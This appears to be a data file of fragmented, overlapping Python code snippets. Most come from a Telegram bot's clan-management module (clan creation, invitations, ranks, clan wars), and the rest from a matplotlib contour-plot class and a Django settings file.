clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_back ) session.close() return msg_text = read_txt_file(\"text/clan/search_contest\")", "callback.answer(msg_text) session = db_api.CreateSession() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).first() clan_member_id = re.findall(r\"check_clan_member_(\\d+)\", callback.data)", "session.db.commit() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).first() clan_members: typing.List[tables.ClanMember] = session.db.query( tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all() clan_creator: tables.User", "\"search\", tables.Clan.clan_id != clan_member.clan_id)).all() if callback.data == \"clan_war\": if clan_member.clan.state == \"search\": if", "= random.choice(clans_search) clan_1.state = \"contest\" clan_2.state = \"contest\" new_contest = tables.Contest( clan_id_1=clan_1.clan_id, clan_id_2=clan_2.clan_id,", "clan_members_msg = await clan_msg.edit_text( text=msg_text.format( clan_member.clan.name, clan_member.clan.description[:21], len(clan_members), ), reply_markup=keyboard ) await state.update_data({", "commands=\"clan\") async def clan_command_handler(message: types.Message, state: FSMContext): user_id = message.from_user.id session = db_api.CreateSession()", "clan_member.clan.state == \"contest\": msg_text = read_txt_file(\"text/clan/contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_back ) elif clan_member.clan.state", "reply_markup=keyboard ) await state.update_data({ \"clan_invitation_msg\": clan_invitation_msg }) await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.menu) async def", "aiogram.dispatcher import filters from aiogram import exceptions from aiogram.dispatcher import FSMContext from utils.misc.read_file", "states.Clan.set_description.set() @dp.message_handler(filters.IsReplyFilter(True), state=states.Clan.set_description) async def set_clan_description(message: types.Message, state: FSMContext): data = await state.get_data()", "session.db.query( tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all() clan_creator: tables.User = session.db.query( tables.User).filter_by(user_id=clan_member.clan.creator).first() keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_clan_keyboard() msg_text =", "callback.data == \"yes_leave_clan\": session.db.query( tables.ClanMember).filter_by(user_id=user_id).delete() session.db.commit() await clan_msg.edit_text( text=\"Клан\", reply_markup=keyboards.clan.kb_none_clan ) elif callback.data", "townhall.money >= 5000: townhall.money -= 5000 else: await callback.answer( \"Для создания клана не", "random from loader import dp from aiogram import types from aiogram.dispatcher import filters", "clan_invitation_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id = callback.from_user.id clan_msg: types.Message", "or invited_clan_invitation_table is not None: return if (invited_clan_member_table is None) and (not replied_user.is_bot):", "def set_clan_name(message: types.Message, state: FSMContext): data = await state.get_data() if message.reply_to_message.message_id == data.get(\"message_id\"):", "clan_msg.edit_text( text=clan_msg.html_text, reply_markup=clan_msg.reply_markup, ) await callback.answer() @dp.callback_query_handler(regexp=ClanRegexp.without_clan) async def none_clan_handler(callback: types.CallbackQuery, state: FSMContext):", "msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) session = db_api.CreateSession() townhall: tables.TownHall = session.db.query(", "reply_markup=keyboards.clan.kb_search_contest ) elif callback.data == \"clan_members\": keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_members_keyboard() msg_text = read_txt_file(\"text/clan/members\")", "session.db.query( tables.ClanMember).filter_by(user_id=user_id).first() clan_member_id = re.findall(r\"check_clan_member_(\\d+)\", callback.data) raise_member = re.findall(r\"raise_clan_member_(\\d+)\", callback.data) kick_member = re.findall(r\"kick_clan_member_(\\d+)\",", "= read_txt_file(\"text/clan/clan_invitations\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboard ) elif cancel_invitation: invitation_id = int(cancel_invitation[0]) session.db.query(tables.ClanInvitation).filter_by(", "kick_member: member_id = int(kick_member[0]) checked_clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(id=member_id).first() if clan_member.rank in (\"Заместитель\",", "callback.message.answer( text=msg_text.format(townhall.country_name, callback.from_user.get_mention()), reply_markup=keyboard ) clan_member.donate_timer = timer.Timer.set_timer(28800) session.db.commit() await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.member)", "text=msg_text, reply_markup=keyboard ) await state.update_data({ \"clan_invitation_msg\": clan_invitation_msg }) await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.menu) async", "\"clan_members_msg\": clan_members_msg }) elif callback.data == \"clan_settings\": await callback.answer(\"В разработке...\") await callback.answer() session.close()", "= await clan_msg.edit_text( text=msg_text.format( clan_member.clan.name, clan_member.clan.description[:21], len(clan_members), ), reply_markup=keyboard ) await state.update_data({ \"clan_members_msg\":", "text=\"{}\\n\\n\" \"Рейтинг: \\n\" \"Лидер: \\n\" \"Участников: \\n\" \"Осталось: \".format(clan_invitation_table.clan.name), reply_markup=keyboard ) elif accept_invitation:", "callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.invitation_page) async def clan_invitation_pages_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data()", "clan_1.state = \"contest\" clan_2.state = \"contest\" new_contest = tables.Contest( clan_id_1=clan_1.clan_id, clan_id_2=clan_2.clan_id, recent_log=[\"Война началась.\"],", "await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.contest) async def clan_contest_handler(callback: types.CallbackQuery, state: FSMContext): data = await", "session.db.query( tables.Clan).filter(and_( tables.Clan.state == \"search\", tables.Clan.clan_id != clan_member.clan_id)).all() if callback.data == \"clan_war\": if", "import tables, db_api from utils.classes import kb_constructor, timer from sqlalchemy import desc, and_", "= session.db.query( tables.ClanInvitation).filter_by(id=invitation_id).join(tables.Clan).first() if clan_invitation_table.clan.creator == user_id: rank = \"Лидер\" else: rank =", "def set_clan_description(message: types.Message, state: FSMContext): data = await state.get_data() user_id = message.from_user.id if", "clan_members: typing.List[tables.ClanMember] = session.db.query( tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all() clan_creator: tables.User = session.db.query( tables.User).filter_by(user_id=clan_member.clan.creator).first() keyboard = kb_constructor.StandardKeyboard(user_id=user_id).create_clan_keyboard()", "in (\"Лидер\", \"Заместитель\", \"Старейшина\"): invited_clan_member_table: tables.ClanMember = session.filter_by_user_id( user_id=replied_user.id, table=tables.ClanMember ) invited_user_table: tables.User", "reply_markup=keyboard ) elif raise_member: member_id = int(raise_member[0]) checked_clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(id=member_id).first() if", "text=\"Придумайте <b>описание</b> для \\n\" \"клана. (макс. 21 символ)\\n\" \"<i>Ответив на это сообщение.</i>\" )", "= int(cancel_invitation[0]) session.db.query(tables.ClanInvitation).filter_by( id=invitation_id).delete() session.db.commit() keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard() msg_text = read_txt_file(\"text/clan/clan_invitations\") await", "if clan_invitation_table.clan.creator == user_id: rank = \"Лидер\" else: rank = \"Рекрут\" new_clan_member =", "page = int(page_move) keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard(page) try: msg_text = read_txt_file(\"text/clan/clan_invitations\") await clan_msg.edit_text(", "msg_text = read_txt_file(\"text/clan/none_contest\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboards.clan.kb_search_contest ) clan_member.clan.state = None await callback.answer()", "= re.findall(r\"open_invitation_(\\d+)\", callback.data) accept_invitation = re.findall(r\"accept_invitation_(\\d+)\", callback.data) cancel_invitation = re.findall(r\"cancel_invitation_(\\d+)\", callback.data) session =", "text=msg_text, reply_markup=keyboard ) elif cancel_invitation: invitation_id = int(cancel_invitation[0]) session.db.query(tables.ClanInvitation).filter_by( id=invitation_id).delete() session.db.commit() keyboard =", "- townhall.money) ) session.close() return clan_msg = await clan_msg.edit_text( text=\"Придумайте <b>название</b> для своего\\n\"", "kb_constructor.StandardKeyboard( user_id=user_id).create_clan_keyboard() msg_text = read_txt_file(\"text/clan/in_clan\") clan_msg = await callback.message.answer( text=msg_text.format( clan.emoji, clan.name, clan.description[:21],", "= clan_member.clan clan_2: tables.Clan = random.choice(clans_search) clan_1.state = \"contest\" clan_2.state = \"contest\" new_contest", "callback.answer(msg_text) invitation = re.findall(r\"open_invitation_(\\d+)\", callback.data) accept_invitation = re.findall(r\"accept_invitation_(\\d+)\", callback.data) cancel_invitation = re.findall(r\"cancel_invitation_(\\d+)\", callback.data)", "state.get_data() user_id = message.from_user.id if message.reply_to_message.message_id == data.get(\"message_id\"): clan_description = message.text[:21] await state.update_data({", "typing.List[tables.ClanMember] = session.db.query( tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all() clans_search: typing.List[tables.Clan] = session.db.query( tables.Clan).filter(and_( tables.Clan.state == \"search\", tables.Clan.clan_id", "session.db.query( tables.TownHall).filter_by(user_id=user_id).first() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).first() if callback.data == \"get_clan_units\": if clan_member.donate_timer", "user_id=user_id, rank=rank, contest_score=0, clan_units=0, units_donate=0, donate_timer=0 ) session.db.add(new_clan_member) session.db.query(tables.ClanInvitation).filter_by( id=invitation_id).delete() session.db.commit() await callback.answer(\"Вы", "buildings: tables.Buildings = session.db.query( tables.Buildings).filter_by(user_id=user_id).first() if buildings.clan_building_lvl == 0: sticker = read_txt_file(\"sticker/sad_knight\") await", "await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_back ) session.close() return msg_text = read_txt_file(\"text/clan/search_contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count),", "session.db.query( tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all() clan_creator: tables.User = session.db.query( tables.User).filter_by(user_id=clan_member.clan.creator).first() keyboard = kb_constructor.StandardKeyboard(user_id=user_id).create_clan_keyboard() msg_text = read_txt_file(\"text/clan/in_clan\")", "await message.reply( text=\"Придумайте <b>описание</b> для \\n\" \"клана. (макс. 21 символ)\\n\" \"<i>Ответив на это", "keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard() msg_text = read_txt_file(\"text/clan/clan_invitations\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboard ) await", "read_txt_file(\"text/clan/search_contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_cancel_contest ) elif clan_member.clan.state == \"contest\": msg_text = read_txt_file(\"text/clan/contest\")", ") elif callback.data == \"no_leave_clan\": await clan_msg.edit_text( text=clan_msg.html_text, reply_markup=clan_msg.reply_markup ) await callback.answer() session.close()", "None) and (not replied_user.is_bot): time_set = timer.Timer.set_timer(86400) new_invitation = tables.ClanInvitation( user_id=replied_user.id, clan_id=clan_member_table.clan_id, timer=time_set", "keyboards import states import re import random from loader import dp from aiogram", "read_txt_file(\"text/clan/clan_invitations\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboard ) await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.get_clan_units) async def clan_getting_units_handler(callback:", "clan_member_id = re.findall(r\"check_clan_member_(\\d+)\", callback.data) raise_member = re.findall(r\"raise_clan_member_(\\d+)\", callback.data) kick_member = re.findall(r\"kick_clan_member_(\\d+)\", callback.data) if", "= read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) invitation = re.findall(r\"open_invitation_(\\d+)\", callback.data) accept_invitation = re.findall(r\"accept_invitation_(\\d+)\", callback.data)", "session = db_api.CreateSession() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first() clan_members: typing.List[tables.ClanMember] = session.db.query( tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all()", "clan_command_handler(message: types.Message, state: FSMContext): user_id = message.from_user.id session = db_api.CreateSession() clan_member: tables.ClanMember =", "хотите покинуть клан?\", reply_markup=keyboards.clan.kb_leave_clan ) elif callback.data == \"yes_leave_clan\": session.db.query( tables.ClanMember).filter_by(user_id=user_id).delete() session.db.commit() await", "int(raise_member[0]) checked_clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(id=member_id).first() if clan_member.rank in (\"Заместитель\", \"Лидер\"): if checked_clan_member.rank", "state.update_data({ \"message_id\": clan_msg.message_id }) await states.Clan.set_name.set() elif callback.data == \"clans_rating\": clan_table: typing.List[tables.Clan] =", "tables.TownHall).filter_by(user_id=user_id).first() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).first() if callback.data == \"get_clan_units\": if clan_member.donate_timer !=", "await clan_msg.edit_text( text=\"Придумайте <b>название</b> для своего\\n\" \"клана. (макс. 16 символов)\\n\" \"<i>Ответив на это", "0: sticker = read_txt_file(\"sticker/sad_knight\") await message.answer_sticker(sticker=sticker) msg_text = read_txt_file(\"text/clan/destroyed_clan\") await message.answer( text=msg_text, )", "aiogram.dispatcher import FSMContext from utils.misc.read_file import read_txt_file from utils.db_api import tables, db_api from", "= kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard(page) try: msg_text = read_txt_file(\"text/clan/clan_invitations\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboard ) except", "= kb_constructor.PaginationKeyboard( user_id=user_id).create_members_keyboard() await clan_msg.edit_text( text=clan_members_msg.html_text, reply_markup=keyboard ) elif kick_member: member_id = int(kick_member[0])", "session.db.query( tables.Clan).order_by(desc(tables.Clan.rating)).all() text = \"\" clan_num = 1 for clan in clan_table[:10]: text", "(\"Заместитель\", \"Лидер\"): if checked_clan_member.rank != \"Лидер\" and clan_member.rank != checked_clan_member.rank: session.db.query( tables.ClanMember).filter_by(id=member_id).delete() session.db.commit()", "user_id=user_id).create_member_keyboard(member_id, clan_member) msg_text = read_txt_file(\"text/clan/member\") await clan_msg.edit_text( text=msg_text.format( checked_clan_member.user.first_name, checked_clan_member.contest_score, checked_clan_member.rank, ), reply_markup=keyboard", "elif clan_member.clan.state == \"contest\": msg_text = read_txt_file(\"text/clan/contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_back ) elif", "\\n\" \"клана. (макс. 21 символ)\\n\" \"<i>Ответив на это сообщение.</i>\" ) await state.update_data({ \"clan_name\":", "reply_markup=keyboard ) clan_member.donate_timer = timer.Timer.set_timer(28800) session.db.commit() await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.member) async def clan_members_handler(callback:", "user_id=user_id).create_invitation_keyboard() msg_text = read_txt_file(\"text/clan/clan_invitations\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboard ) elif cancel_invitation: invitation_id =", "клан!\") keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard() msg_text = read_txt_file(\"text/clan/clan_invitations\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboard )", "clan_msg: types.Message = data.get(\"clan_msg\") clan_members_msg: types.Message = data.get(\"clan_members_msg\") if data.get(\"user_id\") != user_id: msg_text", "\"Germany\"], territory_owners=[None, None], territory_units=[0, 0], territory_captures=[None, None], clans_rating=[0, 0], colors=[\"blue\", \"red\"] ) session.db.add(new_contest)", "types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id = callback.from_user.id clan_msg: types.Message =", "= kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard() msg_text = read_txt_file(\"text/clan/clan_invitations\") clan_invitation_msg = await clan_msg.edit_text( text=msg_text, reply_markup=keyboard )", "state.get_data() user_id = callback.from_user.id clan_msg: types.Message = data.get(\"clan_msg\") clan_members_msg: types.Message = data.get(\"clan_members_msg\") if", ") session.close() return clan_msg = await clan_msg.edit_text( text=\"Придумайте <b>название</b> для своего\\n\" \"клана. (макс.", "tables.ClanMember).filter_by(user_id=user_id).delete() session.db.commit() await clan_msg.edit_text( text=\"Клан\", reply_markup=keyboards.clan.kb_none_clan ) elif callback.data == \"no_leave_clan\": await clan_msg.edit_text(", "checked_clan_member.rank = \"Старейшина\" elif checked_clan_member.rank == \"Старейшина\": checked_clan_member.rank = \"Заместитель\" session.db.commit() keyboard =", "= tables.ClanMember( clan_id=clan.clan_id, user_id=user_id, clan_units=0, rank=\"Лидер\" ) session.db.add(new_clan_member) session.db.commit() clan_member: tables.ClanMember = session.db.query(", "await clan_msg.edit_text( text=msg_text, reply_markup=keyboard ) elif cancel_invitation: invitation_id = int(cancel_invitation[0]) session.db.query(tables.ClanInvitation).filter_by( id=invitation_id).delete() session.db.commit()", "== data.get(\"message_id\"): clan_description = message.text[:21] await state.update_data({ \"clan_description\": clan_description, }) keyboard = kb_constructor.StandardKeyboard(", "clan_invitation_table: tables.ClanInvitation = session.db.query( tables.ClanInvitation).filter_by(id=invitation_id).join(tables.Clan).first() if clan_invitation_table.clan.creator == user_id: rank = \"Лидер\" else:", "import dp from aiogram import types from aiogram.dispatcher import filters from aiogram import", "= await message.answer( text=msg_text, reply_markup=keyboards.clan.kb_none_clan ) await state.update_data({ \"user_id\": user_id, \"clan_msg\": clan_msg })", "\"clan_msg\": clan_msg }) session.close() return clan_members: typing.List[tables.ClanMember] = session.db.query( tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all() clan_creator: tables.User =", "= await state.get_data() user_id = callback.from_user.id clan_msg: types.Message = data.get(\"clan_msg\") if data.get(\"user_id\") !=", "callback.answer() session.close() @dp.message_handler(filters.IsReplyFilter(True), state=states.Clan.set_name) async def set_clan_name(message: types.Message, state: FSMContext): data = await", "emoji=clan_emoji, rating=0, money=0, units=0, creator=user_id ) session.db.add(new_clan) session.db.commit() clan: tables.Clan = session.db.query( tables.Clan).filter_by(creator=user_id).first()", "clan_table: typing.List[tables.Clan] = session.db.query( tables.Clan).order_by(desc(tables.Clan.rating)).all() text = \"\" clan_num = 1 for clan", "\"user_id\": user_id, \"clan_msg\": clan_msg }) session.close() return clan_members: typing.List[tables.ClanMember] = session.db.query( tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all() clan_creator:", "await message.answer( text=\"Выберите <b>логотип</b> вашего клана.\", reply_markup=keyboard ) await state.update_data({ \"set_emoji_msg\": set_emoji_msg })", "\"Рекрут\": checked_clan_member.rank = \"Старейшина\" elif checked_clan_member.rank == \"Старейшина\": checked_clan_member.rank = \"Заместитель\" session.db.commit() keyboard", "name=clan_name, description=clan_description, emoji=clan_emoji, rating=0, money=0, units=0, creator=user_id ) session.db.add(new_clan) session.db.commit() clan: tables.Clan =", "на это сообщение.</i>\" ) await state.update_data({ \"message_id\": clan_msg.message_id }) await states.Clan.set_name.set() elif callback.data" ]
[ "* SITE_ID = 6 NAVBAR_SITES = [1, 3, 4, 5] ROOT_URLCONF = \"trojsten.urls.wiki\"", "trojsten.settings.production import * SITE_ID = 6 NAVBAR_SITES = [1, 3, 4, 5] ROOT_URLCONF", "from trojsten.settings.production import * SITE_ID = 6 NAVBAR_SITES = [1, 3, 4, 5]", "import * SITE_ID = 6 NAVBAR_SITES = [1, 3, 4, 5] ROOT_URLCONF =" ]
[ "\"\"\" # set some defaults # no defaults yet # call the parent", "IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # # LIMITED", "DATA, OR PROFITS; OR BUSINESS INTERRUPTION) # # HOWEVER CAUSED AND ON ANY", "Rewrite this replot method # get the keys from the dict keys =", "declare the array self._data_arr = np.zeros((num_keys, num_coords)) # add the data to the", "and number of y datasets x, y = self._data[keys[0]] y = np.arange(len(keys)) #", "retain the above copyright # # notice, this list of conditions and the", "cmap=None, norm=None, *args, **kwargs): \"\"\" __init__ docstring Parameters ---------- fig : figure to", "ARISING # # IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,", "import (absolute_import, division, print_function, unicode_literals) import six import numpy as np from ..", "logging.getLogger(__name__) class ContourView(AbstractDataView2D, AbstractMPLDataView): \"\"\" The ContourView provides a UI widget for viewing", "= len(self._data[keys[0]][0]) # declare the array self._data_arr = np.zeros((num_keys, num_coords)) # add the", "EXEMPLARY, OR CONSEQUENTIAL DAMAGES # # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF", "conditions and the following disclaimer in # # the documentation and/or other materials", "plot data if there are no keys if num_keys < 1: return #", "# get the first dataset to get the x axis and number of", "# number of datasets in the data dict num_keys = len(keys) # cannot", "STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OTHERWISE) ARISING # # IN ANY WAY", "data sets as a contour plot, starting from dataset 0 at y =", "starting from dataset 0 at y = 0 \"\"\" def __init__(self, fig, data_list=None,", "or adding new data \"\"\" # TODO: This class was originally written to", "import logging logger = logging.getLogger(__name__) class ContourView(AbstractDataView2D, AbstractMPLDataView): \"\"\" The ContourView provides a", "dictionary (x, y) = self._data[key] # add the data to the array self._data_arr[counter]", "BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR # # SERVICES; LOSS", "y = self._data[keys[0]] y = np.arange(len(keys)) # TODO: Colormap initialization is not working", "Science Associates, Brookhaven # # National Laboratory nor the names of its contributors", "be required that all datasets are the same # length? num_coords = len(self._data[keys[0]][0])", ": list list of the names of each data set cmap : colormap", "= list(six.iterkeys(self._data)) # number of datasets in the data dict num_keys = len(keys)", "OF SUBSTITUTE GOODS OR # # SERVICES; LOSS OF USE, DATA, OR PROFITS;", "widget for viewing a number of 1-D data sets as a contour plot,", "(c) 2014, Brookhaven Science Associates, Brookhaven # # National Laboratory. All rights reserved.", "# # * Neither the name of the Brookhaven Science Associates, Brookhaven #", "BE LIABLE FOR ANY DIRECT, # # INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL", "specific prior written permission. # # # # THIS SOFTWARE IS PROVIDED BY", "this replot method # get the keys from the dict keys = list(six.iterkeys(self._data))", "of the names of each data set cmap : colormap that matplotlib understands", "modification, are permitted provided that the following conditions # # are met: #", "= num_keys - 1 # @tacaswell Should it be required that all datasets", "# POSSIBILITY OF SUCH DAMAGE. # ######################################################################## from __future__ import (absolute_import, division, print_function,", "data to the array self._data_arr[counter] = y # decrement the counter counter -=", "# * Redistributions of source code must retain the above copyright # #", "of conditions and the following disclaimer. # # # # * Redistributions in", "Brookhaven # # National Laboratory nor the names of its contributors may be", "HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, # #", "required that all datasets are the same # length? num_coords = len(self._data[keys[0]][0]) #", "self._data[key] # add the data to the array self._data_arr[counter] = y # decrement", "QtCore, QtGui from . import AbstractMPLDataView from .. import AbstractDataView2D import logging logger", "get the keys from the dict keys = list(six.iterkeys(self._data)) # number of datasets", "and the following disclaimer in # # the documentation and/or other materials provided", "to endorse or promote products derived from this software without # # specific", "OR TORT (INCLUDING NEGLIGENCE OTHERWISE) ARISING # # IN ANY WAY OUT OF", "ContourView(AbstractDataView2D, AbstractMPLDataView): \"\"\" The ContourView provides a UI widget for viewing a number", "plot, starting from dataset 0 at y = 0 \"\"\" def __init__(self, fig,", "# TODO: This class was originally written to convert a 1-D stack into", "Should it be required that all datasets are the same # length? num_coords", "# # # * Neither the name of the Brookhaven Science Associates, Brookhaven", "yet # call the parent constructors super(ContourView, self).__init__(data_list=data_list, fig=fig, cmap=cmap, norm=norm, *args, **kwargs)", "data \"\"\" # TODO: This class was originally written to convert a 1-D", "local counter counter = num_keys - 1 # @tacaswell Should it be required", "norm=norm, *args, **kwargs) # create the matplotlib axes self._ax = self._fig.add_subplot(1, 1, 1)", "other materials provided with the # # distribution. # # # # *", "EVEN IF ADVISED OF THE # # POSSIBILITY OF SUCH DAMAGE. # ########################################################################", "number of 1-D data sets as a contour plot, starting from dataset 0", "written to convert a 1-D stack into a # 2-D contour. Rewrite this", "Copyright (c) 2014, Brookhaven Science Associates, Brookhaven # # National Laboratory. All rights", "documentation and/or other materials provided with the # # distribution. # # #", "OR PROFITS; OR BUSINESS INTERRUPTION) # # HOWEVER CAUSED AND ON ANY THEORY", "set cmap : colormap that matplotlib understands norm : mpl.colors.Normalize \"\"\" # set", "from .. import QtCore, QtGui from . import AbstractMPLDataView from .. import AbstractDataView2D", "following disclaimer. # # # # * Redistributions in binary form must reproduce", "0 \"\"\" def __init__(self, fig, data_list=None, cmap=None, norm=None, *args, **kwargs): \"\"\" __init__ docstring", "this list of conditions and the following disclaimer in # # the documentation", "the data to the main axes for key in self._data.keys(): # get the", "and binary forms, with or without # # modification, are permitted provided that", "# # # * Redistributions of source code must retain the above copyright", "into a # 2-D contour. Rewrite this replot method # get the keys", "CONTRACT, # # STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OTHERWISE) ARISING # #", "1 # @tacaswell Should it be required that all datasets are the same", "import numpy as np from .. import QtCore, QtGui from . import AbstractMPLDataView", "num_coords)) # add the data to the main axes for key in self._data.keys():", "# # the documentation and/or other materials provided with the # # distribution.", "the same # length? num_coords = len(self._data[keys[0]][0]) # declare the array self._data_arr =", "permission. # # # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS", "\"\"\" def __init__(self, fig, data_list=None, cmap=None, norm=None, *args, **kwargs): \"\"\" __init__ docstring Parameters", "# # modification, are permitted provided that the following conditions # # are", "dict num_keys = len(keys) # cannot plot data if there are no keys", "set the local counter counter = num_keys - 1 # @tacaswell Should it", "the following conditions # # are met: # # # # * Redistributions", "# \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT #", "be used # # to endorse or promote products derived from this software", "fig=fig, cmap=cmap, norm=norm, *args, **kwargs) # create the matplotlib axes self._ax = self._fig.add_subplot(1,", "cannot plot data if there are no keys if num_keys < 1: return", "from __future__ import (absolute_import, division, print_function, unicode_literals) import six import numpy as np", "list list of the names of each data set cmap : colormap that", "as np from .. import QtCore, QtGui from . import AbstractMPLDataView from ..", "Parameters ---------- fig : figure to draw the artists on x_data : list", "x axis and number of y datasets x, y = self._data[keys[0]] y =", "AbstractMPLDataView): \"\"\" The ContourView provides a UI widget for viewing a number of", "# distribution. # # # # * Neither the name of the Brookhaven", "x, y = self._data[keys[0]] y = np.arange(len(keys)) # TODO: Colormap initialization is not", "a contour plot, starting from dataset 0 at y = 0 \"\"\" def", "PROCUREMENT OF SUBSTITUTE GOODS OR # # SERVICES; LOSS OF USE, DATA, OR", "the names of each data set cmap : colormap that matplotlib understands norm", "rights reserved. # # # # Redistribution and use in source and binary", "(e.g., offset or autoscaling) or adding new data \"\"\" # TODO: This class", "* Neither the name of the Brookhaven Science Associates, Brookhaven # # National", "IN CONTRACT, # # STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OTHERWISE) ARISING #", "# # to endorse or promote products derived from this software without #", "*args, **kwargs) # create the matplotlib axes self._ax = self._fig.add_subplot(1, 1, 1) self._ax.set_aspect('equal')", "of datasets in the data dict num_keys = len(keys) # cannot plot data", "promote products derived from this software without # # specific prior written permission.", "must retain the above copyright # # notice, this list of conditions and", "# to endorse or promote products derived from this software without # #", "conditions # # are met: # # # # * Redistributions of source", "list of conditions and the following disclaimer in # # the documentation and/or", "\"\"\" # TODO: This class was originally written to convert a 1-D stack", "OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # #", "def __init__(self, fig, data_list=None, cmap=None, norm=None, *args, **kwargs): \"\"\" __init__ docstring Parameters ----------", "NO EVENT SHALL THE # # COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR", "on x_data : list list of vectors of x-coordinates y_data : list list", "# decrement the counter counter -= 1 # get the first dataset to", "the data after modifying a display parameter (e.g., offset or autoscaling) or adding", "WHETHER IN CONTRACT, # # STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OTHERWISE) ARISING", "data from the dictionary (x, y) = self._data[key] # add the data to", "list of vectors of x-coordinates y_data : list list of vectors of y-coordinates", "copyright # # notice this list of conditions and the following disclaimer in", "TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS # # FOR A PARTICULAR", "cmap=cmap, norm=norm, *args, **kwargs) # create the matplotlib axes self._ax = self._fig.add_subplot(1, 1,", "convert a 1-D stack into a # 2-D contour. Rewrite this replot method", "are permitted provided that the following conditions # # are met: # #", "ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # # LIMITED TO, THE", "data after modifying a display parameter (e.g., offset or autoscaling) or adding new", "or autoscaling) or adding new data \"\"\" # TODO: This class was originally", "parameter (e.g., offset or autoscaling) or adding new data \"\"\" # TODO: This", "provided that the following conditions # # are met: # # # #", "OR BUSINESS INTERRUPTION) # # HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,", "\"\"\" Override Replot the data after modifying a display parameter (e.g., offset or", "data if there are no keys if num_keys < 1: return # set", "# create the matplotlib axes self._ax = self._fig.add_subplot(1, 1, 1) self._ax.set_aspect('equal') # plot", "**kwargs): \"\"\" __init__ docstring Parameters ---------- fig : figure to draw the artists", "vectors of x-coordinates y_data : list list of vectors of y-coordinates lbls :", "Brookhaven # # National Laboratory. All rights reserved. # # # # Redistribution", "create the matplotlib axes self._ax = self._fig.add_subplot(1, 1, 1) self._ax.set_aspect('equal') # plot the", "HOLDERS AND CONTRIBUTORS # # \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES,", "**kwargs) # create the matplotlib axes self._ax = self._fig.add_subplot(1, 1, 1) self._ax.set_aspect('equal') #", "from . import AbstractMPLDataView from .. import AbstractDataView2D import logging logger = logging.getLogger(__name__)", "or promote products derived from this software without # # specific prior written", "= np.zeros((num_keys, num_coords)) # add the data to the main axes for key", "# # are met: # # # # * Redistributions of source code", "INTERRUPTION) # # HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN", "get the x axis and number of y datasets x, y = self._data[keys[0]]", "figure to draw the artists on x_data : list list of vectors of", "LIABILITY, OR 